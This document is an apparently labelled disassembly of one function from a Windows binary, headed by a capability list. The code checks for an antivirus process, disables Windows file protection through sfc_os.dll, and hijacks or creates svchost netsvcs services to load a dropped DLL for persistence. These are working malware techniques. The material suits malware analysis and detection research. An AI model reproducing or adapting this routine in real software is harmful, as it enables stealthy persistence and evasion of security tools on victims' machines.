Function at 0x401efb
Capabilities:
Bypass windows file protection
Create service
Delete file
Get common file path
Persist via windows service
Query or enumerate registry value
Start service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc38
and dword [ebp - 0x75c], 0
and dword [ebp - 8], 0
and dword [ebp - 0x11c], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x64c], 0
and dword [ebp - 4], 0
and dword [ebp - 0x120], 0
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
call fcn.00405041
push str.RavMonD.exe
call fcn.004010ee
test eax, eax
je 0x401f7c
mov dword [ebp - 0x75c], 1
push 1
call fcn.00403b81
push 0x40cd30
push 0x40cd2c
push 0
call fcn.00401aae
push 0x104
push 0
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 0
jne 0x402013
jmp 0x40225a
push 5
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40cd34], eax
and dword [ebp - 0x788], 0
and dword [ebp - 0xb8c], 0
jmp 0x402043
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
cmp dword [ebp - 0xb8c], 0x12
jge 0x40225a
push dword [ebp - 0xb8c]
push 0
push 0x40
lea eax, [ebp - 0xbd0]
push eax
call fcn.0040174a
push dword [ebp - 0xb8c]
push 1
push 0x40
lea eax, [ebp - 0xc10]
push eax
call fcn.0040174a
push 0x40c820
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402094
jmp 0x402036
push 0xf01ff
lea eax, [ebp - 0xbd0]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jne 0x4020bd
jmp 0x402036
push 0x1c
push 0
lea eax, [ebp - 0xc2c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc2c]
push eax
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0xc28], 1
je 0x402122
cmp dword [ebp - 0x788], 0
jne 0x4020ff
jmp 0x402210
lea eax, [ebp - 0xc2c]
push eax
push 1
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x402122
jmp 0x402210
push 0x104
push 0
lea eax, [ebp - 0x758]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp - 0x75c], 0
jne 0x402166
lea eax, [ebp - 0xc10]
push eax
lea eax, [ebp - 0x228]
push eax
push str._s_system32_s.dll
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x40219b
call fcn.0040170c
push eax
lea eax, [ebp - 0x118]
push eax
push str._s_d.dll
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x758]
push eax
lea eax, [ebp - 0xbd0]
push eax
call fcn.00401c30
lea eax, [ebp - 0x758]
push eax
call fcn.00401cdb
test eax, eax
jne 0x4021af
jmp 0x402210
push 0
push 0
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4021c7
jmp 0x402210
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [0x40cd2c], 0
je 0x402208
mov eax, dword [0x40cd2c]
mov dword [ebp - 0xc30], eax
push dword [ebp - 0xc30]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0x75c], 1
jne 0x402226
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0xb8c], 0x11
jne 0x402255
cmp dword [ebp - 0x788], 0
jne 0x402255
mov dword [ebp - 0x788], 1
or dword [ebp - 0xb8c], 0xffffffff
jmp 0x402036
push 0x400
push 0
lea eax, [ebp - 0xb88]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 0xc]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x784], 0x7374656e
mov dword [ebp - 0x780], 0x736376
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xb88]
push eax
lea eax, [ebp - 0x11c]
push eax
push 0
lea eax, [ebp - 0x784]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xb88]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movsx eax, byte [eax]
test eax, eax
je 0x402469
push 0x40c820
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4022fb
jmp 0x4022d9
push 0x400
push 0
lea eax, [ebp - 0x648]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x408504
push str._SystemRoot_System32_svchost.exe__k_nets
push str._s_s
lea eax, [ebp - 0x648]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x648]
push eax
push 1
push 2
push 0x20
push 0x10
push dword [ebp - 8]
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x40243b
cmp dword [ebp - 0x75c], 0
jne 0x402395
push dword [ebp - 8]
lea eax, [ebp - 0x228]
push eax
push str._s_system32_s.dll
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x4023b7
call fcn.0040170c
push eax
lea eax, [ebp - 0x118]
push eax
push str._s_d.dll
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x758]
push eax
push dword [ebp - 8]
call fcn.00401c30
lea eax, [ebp - 0x758]
push eax
call fcn.00401cdb
test eax, eax
jne 0x4023da
jmp 0x40243b
push 0
push 0
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4023f2
jmp 0x40243b
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [0x40cd2c], 0
je 0x402433
mov eax, dword [0x40cd2c]
mov dword [ebp - 0xc34], eax
push dword [ebp - 0xc34]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0x75c], 1
jne 0x402451
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 1]
mov dword [ebp - 8], eax
jmp 0x4022d9
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [0x40cd2c], 0
je 0x40249e
mov eax, dword [0x40cd2c]
mov dword [ebp - 0xc38], eax
push dword [ebp - 0xc38]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]